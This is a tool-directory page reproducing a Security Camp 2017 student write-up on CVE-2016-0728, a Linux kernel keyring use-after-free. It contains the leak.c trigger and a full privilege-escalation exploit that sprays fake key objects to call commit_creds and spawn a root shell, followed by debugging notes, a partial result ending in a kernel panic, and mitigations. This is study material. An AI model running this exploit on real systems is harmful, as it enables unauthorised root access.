Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2016-0728 — CVE-2016-0728 漏洞利用及总结 | Kitploit
工具/GitHubGitHub/hal0taso/cve-2016-0728
权限提升漏洞分析漏洞利用学习与教育二进制利用实验室与实践
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

CVE-2016-0728 漏洞利用及总结

查看仓库
19年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2016-0728

Seccamp 2017 課題

以下のプログラムはLinuxカーネル3.8〜4.4に存在する脆弱性を悪用しています。このプログラムの実行により発生する不具合を説明してください。また、この脆弱性をさらに悪用することでroot権限昇格を行うエクスプロイトを記述し、自分が試した動作環境や工夫点等を説明してください。加えて、このような攻撃を緩和する対策手法をなるべく多く挙げ、それらを説明してください。 完全には分からなくても構いませんので、理解できたところまでの情報や試行の過程、感じた事等について自分の言葉で記述してください。また参考にしたサイトや文献があれば、それらの情報源を明記してください。

root@kitploit:~
#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

引言

验证环境如下:

root@kitploit:~
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

我是第一次知道这个漏洞,下面我将记录调查了解到的情况,以及在此过程中尝试过的内容。首先,说明该程序使用的密钥保留服务,然后解释该程序所利用的 Use-After-Free 漏洞及其产生的原因,并阐述由此引发的故障。该漏洞编号为 CVE-2016-0728,其概要参考了以下网站:

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

此外,由于我也是第一次接触 Linux 的密钥保留服务,所以也参考了 IBM 的 Linux 密钥保留服务入门网页:

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

以及验证环境 Linux kernel 3.19 的源代码:

https://www.kernel.org/

为了通过网络将内核消息发送到主机操作系统,还参考了: DEBUG HACKS - デバッグを極めるテクニック&ツール(O'REILLY)

该程序(以下简称 leak.c)利用了 Linux 密钥保留服务中的一个 bug,这个 bug 导致了 Use-After-Free 漏洞。Use-After-Free 漏洞是指由于程序的不一致性,在引用已释放的堆内存地址时,可能执行任意代码。首先,解释该程序使用的系统调用 keyctl(),并说明其中存在的 bug。

每个进程可以通过 keyctl(KEYCTL_JOIN_SESSION_KEYRING, name) 这个系统调用为当前会话创建进程专属的密钥环(keyring)。该密钥环可以通过引用名称 name 在进程间共享。如果进程已经拥有会话密钥环,这个系统调用会用新的密钥环替换原有的会话密钥环。为了更清楚地了解这里的动作,我查看了内核源代码 /security/keys/process_keys.c 中的 join_session_keyring 函数。它的程序逻辑大致如下:当用新的会话密钥环替换原有会话密钥环时,会跳过 key_put 函数。key_put 函数是用于销毁参数给定的密钥环引用的函数。跳过它会导致对新密钥环的引用仍然保留,从而引发 Use-After-Free 漏洞。

当该密钥环在进程间共享时,结构体 key 的 usage 成员中保存的内部引用计数会增加。usage 成员的类型是 atomic_t,实际上定义为包含一个 int 类型变量的 struct 的 typedef。此外,由于没有防止 usage 成员溢出的机制,通过不断增加该成员,可以使引用计数溢出并归零。当 usage 成员变为 0 时,密钥环子系统内部的垃圾回收机制会释放该密钥环。通过在用户空间将这个释放的区域放置另一个任意处理的内核模块,就可以以内核权限执行该处理。

在参考的网站中,当使用 keyutils 库编译并运行 leak.c 后,/proc/keys 中会注册名为 leaked_key 的会话密钥环,并显示被引用了 100 次。他们在该程序运行前后确认了 leaked-keyring 显示如下:

root@kitploit:~
# 运行前
$ cat /proc/keys
$ ./leak
# 运行后
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

然而,在验证环境中 leaked-keyring 并未显示。我尝试将 for 循环的条件改为 i < 0x1000000 这样更大的数值,发现在程序运行过程中 leaked-keyring 会显示出来。此次攻击是通过使 usage 成员溢出从而释放 key,然后在其中放置新的内核对象来实现的。于是,我决定实际尝试一下。exploit 代码参考了以下网站:

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */

	serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
	if (serial < 0) {
		perror("keyctl");
		return -1;
    }
	
	if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
		perror("keyctl");
		return -1;
	}


	puts("Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffff - l)) {
            l = l/2;
            sleep(5);
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
            perror("keyctl");
            return -1;
        }
    }

    puts("finished increfing");
    puts("forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
   
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;
}

执行结果,权限没有变化,以执行用户的权限启动了 shell。我首先想到的是,自己的环境可能已经更新过,补丁已应用。因为这个漏洞是 2016 年 1 月左右公布的,在此之前我的环境已经更新过。于是,我在一个新的虚拟环境(kernel 3.18.52)中改变了常数尝试,但也没有成功。另外,有报告称如果启用了 SMAP 或 SMEP 等内存保护机制,exploit 无法正常工作。SMEP 禁止在内核模式下执行用户空间地址的代码,SMAP 则禁止在内核模式下访问用户空间地址。在 gist 的评论中,有多人验证了在 kernel 3.18.25 上能以 uid 0 启动 shell 但 VM 会冻结的代码,于是我尝试了那个版本。链接如下:https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830。我构建了内核(kernel 3.18.25),并在禁用 SMAP 和 SMEP 的状态下进行了尝试。执行环境如下。SMAP 是在构建时通过 .config 禁用的,SMEP 则是通过 grub 配置文件(/boot/grub/grub.cfg)禁用的。

root@kitploit:~
$ uname -r
3.18.25

在这个环境中运行 leak 后,/proc/keys 显示如下:

root@kitploit:~
$ cat /proc/keys
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1

确实如同参考网站那样,可以看到密钥环对象。于是运行 exploit,但结果仍然是以程序执行用户的权限启动了 shell。于是,我用 watch 命令以 0.1 秒间隔监视 /proc/keys,发现当 usage 成员没有正好变为 0 时(例如指定了与中途中断程序时生成的密钥环同名的密钥环来运行 exploit,溢出后该密钥环对象的 usage 成员仍在增加),join_session_keyring 会生成新的密钥环对象。因此,我认为只有当引用计数器恰好变为 0 时,密钥对象才会被释放。当引用计数器变为 0 时,密钥环对象确实变得不可见,可以认为已被释放。连续运行几次后,虽然出现了 root(uid=0, euid=0),但随后立即发生内核 panic,VM 冻结。

root@kitploit:~
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed

于是,我尝试通过 netconsole 将内核消息转发到主机 OS 并读取日志,但搜索了像 commit_creds 和 kernel_prepare_cred 这样的常数值地址,却没有找到对应位置。最终,我未能获取 root 并启动 shell。

综上所述,针对利用此漏洞的攻击,通过启用 SMAP、SMEP 等 CPU 的内核保护机制,可以增加攻击的难度。此外,漏洞公开后不久,各发行版会提供包含补丁的内核更新,应用这些更新可以防止攻击。在调查此漏洞的过程中,当在 kernel 3.18.52 上运行 PoC 代码时,监视 /proc/keys 发现密钥环对象的 usage 成员在增加和减少之间反复,因此我猜测在 kernel 3.18.25 到 3.18.52 之间,密钥环相关代码或者 join_session_keyring 函数中使用的 abort_creds 函数发生了变化,导致引用计数器(此处指 usage 成员)的增加机制发生了改变。这是因为参考网站上提到,引用计数器 usage 在 join_session_keyring 中每次增加和减少两次,并且其中 abort_creds 异步地对 usage 成员进行递减操作(在 RCU 作业之后),这一点非常重要。

当我调查这个漏洞时,了解到普通用户可以提升为特权用户,感到惊讶的同时也有些不安。但在验证 exploit 的 PoC 代码并研究过程中,我意识到攻击者必须确定内核版本,并且在 SMEP 或 SMAP 启用的情况下还需绕过它们。攻击不一定能成功,一旦失败还会引发内核 panic 从而暴露攻击。这让我怀疑该漏洞作为实际攻击手段是否真的有用。

下载工具